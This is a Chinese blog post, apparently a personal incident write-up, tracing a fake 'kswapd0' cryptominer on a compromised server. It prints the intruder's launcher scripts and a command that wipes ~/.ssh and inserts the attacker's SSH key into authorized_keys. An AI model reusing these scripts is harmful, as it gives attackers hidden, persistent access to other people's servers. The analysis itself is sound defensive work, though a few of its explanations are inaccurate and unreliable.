kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合(二)

简介: kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合

4. 进一步看每个脚本文件的内容

探究完了这个文件之后,我就大概明白了,如果我每次都只是杀掉这个进程其实没有用。每隔一段时间,脚本自动运行,而且更阴险的是居然关机重启之后还运行这个脚本!!!可恶至极!

感觉离真相又进了一步!继续往下探究。

4.1/home/dev/.configrc/a路径下的upd文件

#!/bin/sh
cd /home/dev/.configrc/a
if test -r /home/dev/.configrc/a/bash.pid; then
pid=$(cat /home/dev/.configrc/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null

这个脚本信息说的是如果/home/dev/.configrc/a/bash.pid确实存在,那就获取bash.pid脚本的进程号

if $(kill -CHLD $pid >/dev/null 2>&1)这行代码我有点没看懂,要是有大佬看懂的,欢迎评论告知我一下,谢谢

最后一行./run &>/dev/null就是运行run文件

那就来看下run脚本里写的啥

#!/bin/bash
./stop
#./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
  if [ "$ARCH" == "i686" ]; then
    nohup ./anacron >>/dev/null & 
  elif [ "$ARCH" == "x86_64" ];   then
    ./kswapd0
  fi
echo $! > bash.pid

最后一行echo $! > bash.pid打印进程号到bash.pid当中

那么我们还需要去查看一下kswpad0文件的信息

最后用vim打开一看,全乱码了。我猜测可能是二进制文件,所以用vim打开会乱码,需要用专门查看二进制文件的工具去查看才可以。

4.2/home/dev/.configrc/b路径下的sync文件

#!/bin/sh
cd /home/dev/.configrc/b
./run

同样的,我们还是需要去看下run文件写的是什么脚本

这个脚本文件太长,为了不影响阅读,我就不粘贴上来了。

可以很清楚的看到最后几行

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
  1. cd ~进入到根目录下
  2. rm -rf .ssh强制删除根目录下的.ssh目录及其目录下的所有文件
  3. mkdir .ssh创建.ssh目录
  4. echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys
    把这行字符串ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr写到.ssh/authorized_keys文件里。备注一下:这个字符串很明显就是电脑上生成的公钥,把这个公钥给到远程电脑下.ssh/authorized_keys文件里,就可以通过ssh连接,下次就可以不用输入账号密码连接了。所以我修改了账号密码之后,对方还是可以登录到我的服务器当中。
  5. chmod -R go= ~/.ssh~/.ssh目录修改的权限是go,其中g:代表所有者所在的群组(group),o:代表其他人,但不是u和g(other)。

4.3 /dev/shm/.X1129/.rsync/c/路径下的aptitude文件

  1. 先去到对应的目录下

  1. 查看aptitude脚本文件

#!/bin/sh
cd /dev/shm/.X1129/.rsync/c
./run &>/dev/null

还是和之前的老套路,这个文件只是用来运行run脚本文件的,因此我们最终需要看的还是run文件

可以看到run脚本的具体内容如下

#!/bin/bash
PR=1
PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l)
ARCH=`uname -m`
if [ "$ARCH" == "x86_64" ]; then
  # -lt是小于等于的意思,它这里的含义是如果CPU是7核以下的
  if [ $PR -lt 7 ]; then
    sleep 15
    ./stop
    sleep 3
    RANGE=240
    s=$RANDOM
    let "s %= $RANGE"
    sleep $s
    #nohup ./golan >>/dev/null &
    #sleep 20m && 
    nohup ./go >>/dev/null &  
  fi
  if [ $PR -gt 7 ]; then
    #sleep 15
    #./stop
    sleep 3
    #nohup ./golan >>/dev/null &
  fi
else    
  #nohup ./golan >>/dev/null &
  #sleep 20m && 
  nohup ./go >>/dev/null &
fi

脚本文件的第三行含义是查看CPU是多少核的。

感兴趣的我还特地去/dev/shm/.X1129这个文件夹下看了一下,确实和https://blog.csdn.net/jzz601264258/article/details/105850816 这个博主说的一样,对方还上传了一个dota3.tar.gz文件到了我的服务器上。

综上:

  • /home/dev/.configrc/a路径下的upd文件脚本最后用vim打开乱码,不清楚用户到底在用我这台机器干嘛。
  • /home/dev/.configrc/b路径下的sync文件脚本运行的是把它电脑的公钥写到我的.ssh/authorized_keys文件里
  • /dev/shm/.X1129/.rsync/c/路径下的aptitude文件设置的CPU随机休眠一段时间,不至于CPU卡的连他自己都登不上。

5. 解决办法

  1. 今天问了一下群佬,可能添加黑名单对他之前的没有太大用,暂时选择添加白名单的方案处理。先把他的~/.ssh/authorized_key里的公钥信息给删除,这样他就无法通过ssh连接了。

这个进程还是占有率很高,这个时候选择来kill掉这个进程

此时再用top命令来查看,恢复正常了。

此时记录为2022年3月20日23:16。不知道对方下一轮又会采取什么方式来给我的电脑植入其他脚本。如果有下一轮,期待和对方的下一轮较量!

相关文章
|
4月前
|
网络协议 前端开发 调度
schedule:原来还可以这样让进程让出 CPU?
文章主要讲述通过模拟时钟中断和调度事件来优化和测试虚拟机监控器(VMM)的方法,包括流程设计、寄存器状态的保存与恢复、硬件中断处理规范等细节。
101 11
schedule:原来还可以这样让进程让出 CPU?
|
8月前
|
Windows
dllhost.exe进程占用CPU很高怎么解决?
全面解析dllhost.exe进程
604 16
|
7月前
|
Java 对象存储 开发者
如何找出Java进程占用CPU高的元凶
本文记录了一次Java进程CPU占用率过高的问题和排查思路。
|
11月前
|
小程序 JavaScript Java
【Java】服务CPU占用率100%,教你用jstack排查定位
本文详细讲解如何使用jstack排查定位CPU高占用问题。首先介绍jstack的基本概念:它是诊断Java应用程序线程问题的工具,能生成线程堆栈快照,帮助找出程序中的瓶颈。接着,文章通过具体步骤演示如何使用`top`命令找到高CPU占用的Java进程及线程,再结合`jstack`命令获取堆栈信息并进行分析,最终定位问题代码。
872 2
【Java】服务CPU占用率100%,教你用jstack排查定位
|
10月前
|
存储 监控
【Azure Cloud Service】在Azure云服务中收集CPU监控指标和IIS进程的DUMP方法
在使用Cloud Service服务时,发现服务的CPU占用很高,在业务请求并不大的情况下,需要直到到底是什么进程占用了大量的CPU资源,已经如何获取IIS进程(w3wp.exe)的DUMP文件?
|
11月前
|
消息中间件 Java 调度
一次线上服务CPU100%的排查过程
文章记录了一次线上服务CPU使用率达到100%的排查过程,通过使用top命令和jstack工具确定了导致高CPU使用的线程,并分析了Disruptor组件的不当配置是问题原因,通过修改组件的策略成功解决了问题。
251 0
|
11月前
|
数据安全/隐私保护 异构计算 Windows
【Azure 环境】 介绍两种常规的方法来监视Window系统的CPU高时的进程信息: Performance Monitor 和 Powershell Get-Counter
【Azure 环境】 介绍两种常规的方法来监视Window系统的CPU高时的进程信息: Performance Monitor 和 Powershell Get-Counter
148 0
|
11月前
|
Linux
在Linux中,如何找出占用CPU或内存最多的进程?
在Linux中,如何找出占用CPU或内存最多的进程?
|
2月前
|
数据可视化 Linux iOS开发
Python测量CPU和内存使用率
这些示例帮助您了解如何在Python中测量CPU和内存使用率。根据需要,可以进一步完善这些示例,例如可视化结果或限制程序在特定范围内的资源占用。
106 22
|
6月前
|
存储 设计模式 监控
快速定位并优化CPU 与 JVM 内存性能瓶颈
本文介绍了 Java 应用常见的 CPU & JVM 内存热点原因及优化思路。
817 166